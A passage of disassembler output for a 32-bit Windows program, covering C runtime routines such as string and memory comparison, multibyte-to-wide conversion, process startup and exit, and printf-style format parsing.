0FFFFC085h, 75h or bh, bh adc eax, offset dword_41C068 jmp short loc_41270B ; --------------------------------------------------------------------------- xor eax, eax loc_41270B: ; CODE XREF: sub_4126F3+14j test eax, eax jz short loc_41271A push eax call sub_41724D pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41271A: ; CODE XREF: sub_4126F3+1Aj xor eax, eax retn sub_4126F3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41271D proc near ; CODE XREF: seg000:0040B4EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_4172B4 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412C3C push [ebp+arg_0] mov edi, eax push esi call sub_417341 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41271D endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_412760 loc_412750: ; CODE XREF: sub_412760+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_412760 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412760 proc near ; CODE XREF: seg000:0040979Fp ; seg000:00409846p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00412750 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_412766: ; CODE XREF: sub_410AE0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41278B loc_412778: ; CODE XREF: sub_412760+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_412750 test cl, cl jz short loc_4127D4 test edx, 3 jnz short loc_412778 loc_41278B: ; CODE XREF: sub_412760+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_412796: ; CODE XREF: sub_412760+61j ; sub_412760+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4127D8 and eax, 81010100h jz short loc_412796 and eax, 1010100h jnz short loc_4127D2 and esi, 80000000h jnz short loc_412796 loc_4127D2: ; CODE XREF: sub_412760+68j ; sub_412760+81j ... pop esi pop edi loc_4127D4: ; CODE XREF: sub_412760+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4127D8: ; CODE XREF: sub_412760+5Aj mov eax, [edx-4] cmp al, bl jz short loc_412815 test al, al jz short loc_4127D2 cmp ah, bl jz short loc_41280E test ah, ah jz short loc_4127D2 shr eax, 10h cmp al, bl jz short loc_412807 test al, al jz short loc_4127D2 cmp ah, bl jz short loc_412800 test ah, ah jz short loc_4127D2 jmp short loc_412796 ; --------------------------------------------------------------------------- loc_412800: ; CODE XREF: sub_412760+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_412807: ; CODE XREF: sub_412760+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41280E: ; CODE XREF: sub_412760+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_412815: ; CODE XREF: sub_412760+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_412760 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41286C mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41286D test eax, 1 jz short loc_41284D mov cl, [esi] cmp cl, [edi] jnz short loc_41289A inc esi inc edi dec eax jz short loc_41286A loc_41284D: ; CODE XREF: seg000:00412840j ; seg000:00412868j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41289A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41289A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41284D loc_41286A: ; CODE XREF: seg000:0041284Bj ; seg000:004128A4j pop edi pop esi locret_41286C: ; CODE XREF: seg000:00412826j retn ; --------------------------------------------------------------------------- loc_41286D: ; CODE XREF: seg000:00412839j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_4128A2 repe cmpsd jz short loc_4128A2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_412895 cmp ch, dh jnz short loc_412895 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_412895 cmp ch, dh loc_412895: ; CODE XREF: seg000:00412883j ; seg000:00412887j ... mov eax, 0 loc_41289A: ; CODE XREF: seg000:00412846j ; seg000:00412853j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4128A2: ; CODE XREF: seg000:00412875j ; seg000:00412879j test eax, eax jz short loc_41286A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_412895 dec eax jz short loc_4128C9 cmp dh, ch jnz short loc_412895 dec eax jz short loc_4128C9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_412895 dec eax loc_4128C9: ; CODE XREF: seg000:004128AFj ; seg000:004128B6j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_4128CC proc near ; CODE XREF: sub_40F2C4+55p ; sub_40FC75+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4128E3 loc_4128D9: ; CODE XREF: sub_4128CC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4128D9 loc_4128E3: ; CODE XREF: sub_4128CC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_4128CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4128E9 proc near ; CODE XREF: sub_40F2C4+19p ; sub_40F2C4+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_4129B6 mov edi, [ebp+arg_8] cmp edi, esi jz loc_4129E3 cmp ds:dword_45F8D0, esi jnz short loc_41293A cmp edi, esi jbe loc_4129E3 loc_412919: ; CODE XREF: sub_4128E9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_4129E3 inc eax inc edx inc edx cmp eax, edi jb short loc_412919 jmp loc_4129E3 ; --------------------------------------------------------------------------- loc_41293A: ; CODE XREF: sub_4128E9+26j mov ebx, [ebp+arg_4] mov esi, ds:dword_41C120 push edi push edx push 0FFFFFFFFh push ebx push 9 push ds:dword_45F8E0 call esi ; MultiByteToWideChar test eax, eax jnz loc_4129E2 call ds:dword_41C068 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_412974 loc_412965: ; CODE XREF: sub_4128E9+CBj ; sub_4128E9+F7j mov ds:dword_45F844, 2Ah or eax, 0FFFFFFFFh jmp short loc_4129E3 ; --------------------------------------------------------------------------- loc_412974: ; CODE XREF: sub_4128E9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41297C: ; CODE XREF: sub_4128E9+B3j mov cl, [eax] test cl, cl jz short loc_41299E mov edx, ds:off_42E190 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_412993 inc eax loc_412993: ; CODE XREF: sub_4128E9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41297C loc_41299E: ; CODE XREF: sub_4128E9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push ds:dword_45F8E0 call esi ; MultiByteToWideChar test eax, eax jnz short loc_4129E3 jmp short loc_412965 ; --------------------------------------------------------------------------- loc_4129B6: ; CODE XREF: sub_4128E9+Fj cmp ds:dword_45F8D0, esi jnz short loc_4129C9 push [ebp+arg_4] call sub_410B60 pop ecx jmp short loc_4129E3 ; --------------------------------------------------------------------------- loc_4129C9: ; CODE XREF: sub_4128E9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push ds:dword_45F8E0 call ds:dword_41C120 ; MultiByteToWideChar cmp eax, esi jz short loc_412965 loc_4129E2: ; CODE XREF: sub_4128E9+6Bj dec eax loc_4129E3: ; CODE XREF: sub_4128E9+1Aj ; sub_4128E9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4128E9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C658 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_41C154 ; GetVersion xor edx, edx mov dl, ah mov ds:dword_45F85C, edx mov ecx, eax and ecx, 0FFh mov ds:dword_45F858, ecx shl ecx, 8 add ecx, edx mov ds:dword_45F854, ecx shr eax, 10h mov ds:dword_45F850, eax xor esi, esi push esi call sub_4134D6 pop ecx test eax, eax jnz short loc_412A54 push 1Ch call sub_412B03 pop ecx loc_412A54: ; CODE XREF: seg000:00412A4Aj mov [ebp-4], esi call loc_417992 call near ptr 0C60004h and ds:dword_460EA4[ebx], 0FFFFFFE8h hlt ; --------------------------------------------------------------------------- db 4Dh, 2 dup(0) dd 45F890A3h, 4B9DE800h, 0DFE80000h, 0E800004Ah, 0FFFFFB1Ah dd 8DD07589h, 0E850A445h, 90D578h, 4A70E859h, 45890000h dd 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h, 9C75FF50h dd 55E85656h, 2A0092D5h, 602FE850h, 4589FFFFh, 8E850A0h dd 8BFFFFFBh, 88BEC45h, 4D89098Bh, 0E8515098h, 48AEh, 8BC35959h dd 75FFE865h, 0FAFAE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_412ADE proc near ; CODE XREF: sub_411692+16p ; seg000:004175A8p ... arg_0 = dword ptr 4 cmp ds:dword_45F898, 1 jnz short loc_412AEC call sub_417C20 loc_412AEC: ; CODE XREF: sub_412ADE+7j push [esp+arg_0] call near ptr sub_417C59 push 0FFh call ds:off_42E180 pop ecx pop ecx retn sub_412ADE endp ; =============== S U B R O U T I N E ======================================= sub_412B03 proc near ; CODE XREF: seg000:00412A4Ep arg_0 = dword ptr 4 cmp ds:dword_45F898, 1 jnz short loc_412B11 call sub_417C20 loc_412B11: ; CODE XREF: sub_412B03+7j push [esp+arg_0] call near ptr sub_417C59 pop ecx push 0FFh call ds:dword_41C0F8 ; ExitProcess retn sub_412B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B27 proc near ; CODE XREF: sub_41050B+46p ; sub_410A8A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_412C30 test al, 40h jnz loc_412C30 test al, 1 jz short loc_412B5F and dword ptr [esi+4], 0 test al, 10h jz loc_412C30 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_412B5F: ; CODE XREF: sub_412B27+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_412B99 cmp esi, offset dword_42E8A8 jz short loc_412B87 cmp esi, offset dword_42E8C8 jnz short loc_412B92 loc_412B87: ; CODE XREF: sub_412B27+56j push ebx call sub_417F9D test eax, eax pop ecx jnz short loc_412B99 loc_412B92: ; CODE XREF: sub_412B27+5Ej push esi call sub_417F59 pop ecx loc_412B99: ; CODE XREF: sub_412B27+4Ej ; sub_412B27+69j test word ptr [esi+0Ch], 108h push edi jz short loc_412C06 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_412BC9 push edi push eax push ebx call sub_417DAC add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_412BFC ; --------------------------------------------------------------------------- loc_412BC9: ; CODE XREF: sub_412B27+90j cmp ebx, 0FFFFFFFFh jz short loc_412BE4 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_460B60[eax*4] lea eax, [eax+ecx*8] jmp short loc_412BE9 ; --------------------------------------------------------------------------- loc_412BE4: ; CODE XREF: sub_412B27+A5j mov eax, offset dword_42E7F0 loc_412BE9: ; CODE XREF: sub_412B27+BBj test byte ptr [eax+4], 20h jz short loc_412BFC push 2 push 0 push ebx call sub_4169A2 add esp, 0Ch loc_412BFC: ; CODE XREF: sub_412B27+A0j ; sub_412B27+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_412C1A ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412B27+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_417DAC add esp, 0Ch mov [ebp+arg_4], eax loc_412C1A: ; CODE XREF: sub_412B27+DDj cmp [ebp+arg_4], edi pop edi jz short loc_412C26 or dword ptr [esi+0Ch], 20h jmp short loc_412C35 ; --------------------------------------------------------------------------- loc_412C26: ; CODE XREF: sub_412B27+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_412C38 ; --------------------------------------------------------------------------- loc_412C30: ; CODE XREF: sub_412B27+10j ; sub_412B27+18j ... or al, 20h mov [esi+0Ch], eax loc_412C35: ; CODE XREF: sub_412B27+FDj or eax, 0FFFFFFFFh loc_412C38: ; CODE XREF: sub_412B27+107j pop esi pop ebx pop ebp retn sub_412B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C3C proc near ; CODE XREF: sub_41050B+29p ; sub_410A8A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_413355 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_412C70 ; --------------------------------------------------------------------------- loc_412C68: ; CODE XREF: sub_412C3C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_412C70: ; CODE XREF: sub_412C3C+2Aj cmp [ebp+var_14], edx jl loc_413355 cmp bl, 20h jl short loc_412C91 cmp bl, 78h jg short loc_412C91 movsx eax, bl mov al, ds:byte_41C644[eax] and eax, 0Fh jmp short loc_412C93 ; --------------------------------------------------------------------------- loc_412C91: ; CODE XREF: sub_412C3C+40j ; sub_412C3C+45j xor eax, eax loc_412C93: ; CODE XREF: sub_412C3C+53j movsx eax, ds:byte_41C664[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_413344 ; default jmp ds:off_41335D[eax*4] ; switch jump loc_412CB1: ; DATA XREF: seg000:off_41335Do or [ebp+var_10], 0FFFFFFFFh ; jumptable 00412CAA case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412CCC: ; CODE XREF: sub_412C3C+6Ej ; DATA XREF: seg000:off_41335Do movsx eax, bl ; jumptable 00412CAA case 2 sub eax, 20h jz short loc_412D0F sub eax, 3 jz short loc_412D06 sub eax, 8 jz short loc_412CFD dec eax dec eax jz short loc_412CF4 sub eax, 3 jnz loc_413344 ; default or [ebp+var_4], 8 jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412CF4: ; CODE XREF: sub_412C3C+A4j or [ebp+var_4], 4 jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412CFD: ; CODE XREF: sub_412C3C+A0j or [ebp+var_4], 1 jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412D06: ; CODE XREF: sub_412C3C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412D0F: ; CODE XREF: sub_412C3C+96j or [ebp+var_4], 2 jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412D18: ; CODE XREF: sub_412C3C+6Ej ; DATA XREF: seg000:off_41335Do cmp bl, 2Ah ; jumptable 00412CAA case 3 jnz short loc_412D40 lea eax, [ebp+arg_8] push eax call sub_41341B test eax, eax pop ecx mov [ebp+var_20], eax jge loc_413344 ; default or [ebp+var_4], 4 neg eax loc_412D38: ; CODE XREF: sub_412C3C+111j mov [ebp+var_20], eax jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412D40: ; CODE XREF: sub_412C3C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_412D38 ; --------------------------------------------------------------------------- loc_412D4F: ; CODE XREF: sub_412C3C+6Ej ; DATA XREF: seg000:off_41335Do mov [ebp+var_10], edx ; jumptable 00412CAA case 4 jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412D57: ; CODE XREF: sub_412C3C+6Ej ; DATA XREF: seg000:off_41335Do cmp bl, 2Ah ; jumptable 00412CAA case 5 jnz short loc_412D7A lea eax, [ebp+arg_8] push eax call sub_41341B test eax, eax pop ecx mov [ebp+var_10], eax jge loc_413344 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412D7A: ; CODE XREF: sub_412C3C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412D8C: ; CODE XREF: sub_412C3C+6Ej ; DATA XREF: seg000:off_41335Do cmp bl, 49h ; jumptable 00412CAA case 6 jz short loc_412DBF cmp bl, 68h jz short loc_412DB6 cmp bl, 6Ch jz short loc_412DAD cmp bl, 77h jnz loc_413344 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412DAD: ; CODE XREF: sub_412C3C+15Dj or [ebp+var_4], 10h jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412DB6: ; CODE XREF: sub_412C3C+158j or [ebp+var_4], 20h jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412DBF: ; CODE XREF: sub_412C3C+153j cmp byte ptr [edi], 36h jnz short loc_412DD8 cmp byte ptr [edi+1], 34h jnz short loc_412DD8 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412DD8: ; CODE XREF: sub_412C3C+186j ; sub_412C3C+18Cj mov [ebp+var_30], edx loc_412DDB: ; CODE XREF: sub_412C3C+6Ej ; DATA XREF: seg000:off_41335Do mov ecx, ds:off_42E190 ; jumptable 00412CAA case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_412E07 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41337D mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_412E07: ; CODE XREF: sub_412C3C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41337D add esp, 0Ch jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_412E1F: ; CODE XREF: sub_412C3C+6Ej ; DATA XREF: seg000:off_41335Do movsx eax, bl ; jumptable 00412CAA case 7 cmp eax, 67h jg loc_413047 cmp eax, 65h jge loc_412ECA cmp eax, 58h jg loc_412F28 jz loc_4130BB sub eax, 43h jz loc_412EEB dec eax dec eax jz short loc_412EC0 dec eax dec eax jz short loc_412EC0 sub eax, 0Ch jnz loc_413246 test word ptr [ebp+var_4], 830h jnz short loc_412E69 or byte ptr [ebp+var_4+1], 8 loc_412E69: ; CODE XREF: sub_412C3C+227j ; sub_412C3C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_412E76 mov esi, 7FFFFFFFh loc_412E76: ; CODE XREF: sub_412C3C+233j lea eax, [ebp+arg_8] push eax call sub_41341B test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41308F test ecx, ecx jnz short loc_412E9E mov ecx, ds:off_42E18C mov [ebp+var_8], ecx loc_412E9E: ; CODE XREF: sub_412C3C+257j mov [ebp+var_24], 1 mov eax, ecx loc_412EA7: ; CODE XREF: sub_412C3C+282j mov edx, esi dec esi test edx, edx jz loc_413086 cmp word ptr [eax], 0 jz loc_413086 inc eax inc eax jmp short loc_412EA7 ; --------------------------------------------------------------------------- loc_412EC0: ; CODE XREF: sub_412C3C+212j ; sub_412C3C+216j mov [ebp+var_34], 1 add bl, 20h loc_412ECA: ; CODE XREF: sub_412C3C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_412FAE mov [ebp+var_10], 6 jmp loc_412FBC ; --------------------------------------------------------------------------- loc_412EEB: ; CODE XREF: sub_412C3C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_412EF7 or byte ptr [ebp+var_4+1], 8 loc_412EF7: ; CODE XREF: sub_412C3C+2B5j ; sub_412C3C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_412F3E call sub_413438 push eax lea eax, [ebp+var_248] push eax call sub_41807C add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_412F51 mov [ebp+var_28], 1 jmp short loc_412F51 ; --------------------------------------------------------------------------- loc_412F28: ; CODE XREF: sub_412C3C+1FBj sub eax, 5Ah jz short loc_412F5F sub eax, 9 jz short loc_412EF7 dec eax jz loc_413121 jmp loc_413246 ; --------------------------------------------------------------------------- loc_412F3E: ; CODE XREF: sub_412C3C+2C5j call sub_41341B pop ecx mov [ebp+var_248], al loc_412F4A: ; DATA XREF: seg002:off_422B48o mov [ebp+var_C], 1 loc_412F51: ; CODE XREF: sub_412C3C+2E1j ; sub_412C3C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_413246 ; --------------------------------------------------------------------------- loc_412F5F: ; CODE XREF: sub_412C3C+2EFj lea eax, [ebp+arg_8] push eax call sub_41341B test eax, eax pop ecx jz short loc_412FA0 mov ecx, [eax+4] test ecx, ecx jz short loc_412FA0 test byte ptr [ebp+var_4+1], 8 jz short loc_412F91 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_413246 ; --------------------------------------------------------------------------- loc_412F91: ; CODE XREF: sub_412C3C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_413243 ; --------------------------------------------------------------------------- loc_412FA0: ; CODE XREF: sub_412C3C+32Fj ; sub_412C3C+336j mov eax, ds:off_42E188 mov [ebp+var_8], eax push eax jmp loc_41303C ; --------------------------------------------------------------------------- loc_412FAE: ; CODE XREF: sub_412C3C+29Dj jnz short loc_412FBC cmp bl, 67h jnz short loc_412FBC mov [ebp+var_10], 1 loc_412FBC: ; CODE XREF: sub_412C3C+2AAj ; sub_412C3C:loc_412FAEj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call ds:off_42E4C8 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41300E cmp [ebp+var_10], 0 jnz short loc_41300E lea eax, [ebp+var_248] push eax call ds:off_42E4D4 pop ecx loc_41300E: ; CODE XREF: sub_412C3C+3BCj ; sub_412C3C+3C2j cmp bl, 67h jnz short loc_413025 test esi, esi jnz short loc_413025 lea eax, [ebp+var_248] push eax call ds:off_42E4CC pop ecx loc_413025: ; CODE XREF: sub_412C3C+3D5j ; sub_412C3C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41303B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41303B: ; CODE XREF: sub_412C3C+3F0j push edi loc_41303C: ; CODE XREF: sub_412C3C+36Dj call sub_410B60 pop ecx jmp loc_413243 ; --------------------------------------------------------------------------- loc_413047: ; CODE XREF: sub_412C3C+1E9j sub eax, 69h jz loc_413121 sub eax, 5 jz loc_4130F7 dec eax jz loc_4130E4 dec eax jz short loc_4130B4 sub eax, 3 jz loc_412E69 dec eax dec eax jz loc_413125 sub eax, 3 jnz loc_413246 mov [ebp+var_2C], 27h jmp short loc_4130C2 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412C3C+270j ; sub_412C3C+27Aj sub eax, ecx sar eax, 1 jmp loc_413243 ; --------------------------------------------------------------------------- loc_41308F: ; CODE XREF: sub_412C3C+24Fj test ecx, ecx jnz short loc_41309C mov ecx, ds:off_42E188 mov [ebp+var_8], ecx loc_41309C: ; CODE XREF: sub_412C3C+455j mov eax, ecx loc_41309E: ; CODE XREF: sub_412C3C+46Fj mov edx, esi dec esi test edx, edx jz short loc_4130AD cmp byte ptr [eax], 0 jz short loc_4130AD inc eax jmp short loc_41309E ; --------------------------------------------------------------------------- loc_4130AD: ; CODE XREF: sub_412C3C+467j ; sub_412C3C+46Cj sub eax, ecx jmp loc_413243 ; --------------------------------------------------------------------------- loc_4130B4: ; CODE XREF: sub_412C3C+425j mov [ebp+var_10], 8 loc_4130BB: ; CODE XREF: sub_412C3C+201j mov [ebp+var_2C], 7 loc_4130C2: ; CODE XREF: sub_412C3C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41312C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41312C ; --------------------------------------------------------------------------- loc_4130E4: ; CODE XREF: sub_412C3C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41312C or byte ptr [ebp+var_4+1], 2 jmp short loc_41312C ; --------------------------------------------------------------------------- loc_4130F7: ; CODE XREF: sub_412C3C+417j lea eax, [ebp+arg_8] push eax call sub_41341B test byte ptr [ebp+var_4], 20h pop ecx jz short loc_413110 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_413115 ; --------------------------------------------------------------------------- loc_413110: ; CODE XREF: sub_412C3C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_413115: ; CODE XREF: sub_412C3C+4D2j mov [ebp+var_28], 1 jmp loc_413344 ; default ; --------------------------------------------------------------------------- loc_413121: ; CODE XREF: sub_412C3C+2F7j ; sub_412C3C+40Ej or [ebp+var_4], 40h loc_413125: ; CODE XREF: sub_412C3C+432j mov [ebp+var_C], 0Ah loc_41312C: ; CODE XREF: sub_412C3C+491j ; sub_412C3C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41313E lea eax, [ebp+arg_8] push eax call sub_413428 pop ecx jmp short loc_41317F ; --------------------------------------------------------------------------- loc_41313E: ; CODE XREF: sub_412C3C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_413165 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41315A call sub_41341B pop ecx movsx eax, ax loc_413157: ; CODE XREF: sub_412C3C+527j ; sub_412C3C+539j cdq jmp short loc_41317F ; --------------------------------------------------------------------------- loc_41315A: ; CODE XREF: sub_412C3C+510j call sub_41341B pop ecx movzx eax, ax jmp short loc_413157 ; --------------------------------------------------------------------------- loc_413165: ; CODE XREF: sub_412C3C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_413177 call sub_41341B pop ecx jmp short loc_413157 ; --------------------------------------------------------------------------- loc_413177: ; CODE XREF: sub_412C3C+531j call sub_41341B pop ecx xor edx, edx loc_41317F: ; CODE XREF: sub_412C3C+500j ; sub_412C3C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4131A0 test edx, edx jg short loc_4131A0 jl short loc_41318F test eax, eax jnb short loc_4131A0 loc_41318F: ; CODE XREF: sub_412C3C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4131A4 ; --------------------------------------------------------------------------- loc_4131A0: ; CODE XREF: sub_412C3C+547j ; sub_412C3C+54Bj ... mov esi, eax mov edi, edx loc_4131A4: ; CODE XREF: sub_412C3C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4131AD and edi, 0 loc_4131AD: ; CODE XREF: sub_412C3C+56Cj cmp [ebp+var_10], 0 jge short loc_4131BC mov [ebp+var_10], 1 jmp short loc_4131C0 ; 